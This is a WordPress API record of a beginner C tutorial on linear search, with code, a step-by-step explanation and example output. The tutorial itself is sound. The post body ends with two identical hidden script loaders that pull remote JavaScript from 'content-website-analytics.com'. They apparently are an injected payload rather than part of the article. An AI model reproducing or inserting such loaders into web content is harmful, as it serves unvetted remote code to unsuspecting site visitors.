{"id":1022,"date":"2024-10-21T14:59:51","date_gmt":"2024-10-21T09:29:51","guid":{"rendered":"https:\/\/codexplained.in\/?p=1022"},"modified":"2025-11-24T15:30:11","modified_gmt":"2025-11-24T10:00:11","slug":"search-an-elements-in-an-array-linear-search","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1022","title":{"rendered":"search an elements in an array (linear search)"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>Linear search is a straightforward algorithm for finding a specific value within an array. It sequentially checks each element until the desired value is found or the end of the array is reached. This method is simple to implement but not the most efficient for large datasets.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint linearSearch(int arr&#x5B;], int size, int target) {\n    for (int i = 0; i &lt; size; i++) {\n        if (arr&#x5B;i] == target) {\n            return i; \/\/ Return the index if found\n        }\n    }\n    return -1; \/\/ Return -1 if not found\n}\n\nint main() {\n    int arr&#x5B;] = {2, 4, 6, 8, 10};\n    int size = sizeof(arr) \/ sizeof(arr&#x5B;0]);\n    int target;\n\n    printf(&quot;Enter the number to search: &quot;);\n    scanf(&quot;%d&quot;, &amp;target);\n\n    int result = linearSearch(arr, size, target);\n\n    if (result != -1) {\n        printf(&quot;Element found at index: %d\\n&quot;, result);\n    } else {\n        printf(&quot;Element not found in the array.\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>linearSearch(int arr[], int size, int target)<\/code>: Takes an array, its size, and the target value to search for.<\/li>\n\n\n\n<li>The function iterates over each element in the array.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Loop<\/strong>:\n<ul class=\"wp-block-list\">\n<li>A <code>for<\/code> loop is used to traverse the array. If an element matches the target, its index is returned.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Return Values<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Returns the index of the target if found.<\/li>\n\n\n\n<li>Returns -1 if the target is not found.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Initializes an array and gets user input for the target value.<\/li>\n\n\n\n<li>Calls <code>linear Search<\/code> and prints the result based on the return value.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input<\/h3>\n\n\n\n<p>When you run the program, it prompts the user to enter a number to search for. For example:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nEnter the number to search: 6\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>The output will indicate whether the element was found and, if so, at which index<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nElement found at index: 2\n\n<\/pre><\/div>\n\n\n<p>Or if the element is not found:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nElement not found in the array.\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>Linear search is an intuitive method for searching elements in an array. While its time complexity is O(n), making it less efficient for large arrays compared to algorithms like binary search, it remains a useful approach for small datasets or unsorted arrays where more advanced techniques cannot be applied. The simplicity of implementation and understanding makes it a good choice for educational purposes and basic applications.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction Linear search is a straightforward algorithm for finding a specific value within an array. It sequentially checks each element until the desired value is found or the end of the array is reached. This method is simple to implement but not the most efficient for large datasets. Explanation Input When you run the program, [&hellip;]<\/p>\n","protected":false},"author":47,"featured_media":1112,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1022","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1022","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/47"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1022"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1022\/revisions"}],"predecessor-version":[{"id":1379,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1022\/revisions\/1379"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1112"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1022"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1022"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1022"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}